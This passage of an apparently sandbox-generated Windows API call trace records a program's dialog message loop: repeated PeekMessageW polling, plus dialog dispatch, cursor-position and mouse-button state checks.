wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.131] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.132] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.133] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.134] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.134] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.134] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.134] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.134] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.141] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.141] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.141] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.141] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.141] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.157] GetForegroundWindow () returned 0x7004e [0036.157] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.157] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=538, y=534)) returned 1 [0036.157] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.157] GetAsyncKeyState (vKey=1) returned 0 [0036.157] GetAsyncKeyState (vKey=2) returned 0 [0036.157] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.157] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.157] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.157] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.157] Sleep (dwMilliseconds=0xa) [0036.171] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.171] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.171] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.171] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.171] Sleep (dwMilliseconds=0xa) [0036.186] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.186] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.186] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.186] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.186] Sleep (dwMilliseconds=0xa) [0036.213] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.213] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.213] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.213] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.213] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.213] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.213] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0x0 [0036.213] GetForegroundWindow () returned 0x7004e [0036.213] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.213] GetCursorPos (in: lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320*(x=538, y=534)) returned 1 [0036.213] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5f320 | out: lpPoint=0x26a4a5f320) returned 1 [0036.214] GetAsyncKeyState (vKey=1) returned 0 [0036.214] GetAsyncKeyState (vKey=2) returned 0 [0036.214] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.214] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.214] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.214] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.214] Sleep (dwMilliseconds=0xa) [0036.244] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.244] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.244] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.244] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.244] Sleep (dwMilliseconds=0xa) [0036.280] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.280] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.280] TranslateMessage (lpMsg=0x26a4a5f4c0) returned 0 [0036.280] DispatchMessageW (lpMsg=0x26a4a5f4c0) returned 0xffffffff [0036.280] GetForegroundWindow () returned 0x301ea [0036.280] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.280] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.280] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.280] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.280] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.280] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.281] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.281] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0036.281] Sleep (dwMilliseconds=0xa) [0036.301] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x210, wParam=0x201, lParam=0x1a000d9) returned 0x0 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x21, wParam=0x7004e, lParam=0x2010001) returned 0x1 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x20, wParam=0x301ea, lParam=0x2010001) returned 0x0 [0036.302] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.302] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x0 [0036.302] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.302] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.302] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.302] GetWindowLongPtrW (hWnd=0x301ea, nIndex=-21) returned 0x3 [0036.302] IsWindow (hWnd=0x301ea) returned 1 [0036.302] IsWindowEnabled (hWnd=0x301ea) returned 1 [0036.302] GetCursorPos (in: lpPoint=0x26a4a5edb0 | out: lpPoint=0x26a4a5edb0*(x=538, y=534)) returned 1 [0036.302] ScreenToClient (in: hWnd=0x7004e, lpPoint=0x26a4a5edb0 | out: lpPoint=0x26a4a5edb0) returned 1 [0036.302] GetAsyncKeyState (vKey=1) returned 1 [0036.302] GetAsyncKeyState (vKey=2) returned 0 [0036.302] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x20, wParam=0x301ea, lParam=0x2000001) returned 0x0 [0036.303] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.303] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.303] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 1 [0036.303] TranslateAcceleratorW (hWnd=0x7004e, hAccTable=0x600a1, lpMsg=0x26a4a5f4c0) returned 0 [0036.303] IsDialogMessageW (hDlg=0x7004e, lpMsg=0x26a4a5f4c0) returned 1 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, nIndex=-21) returned 0x0 [0036.303] NtdllDialogWndProc_W (hDlg=0x7004e, Msg=0x14, wParam=0xffffffff810106f8, lParam=0x0) returned 0x1 [0036.303] GetWindowLongPtrW (hWnd=0x7004e, 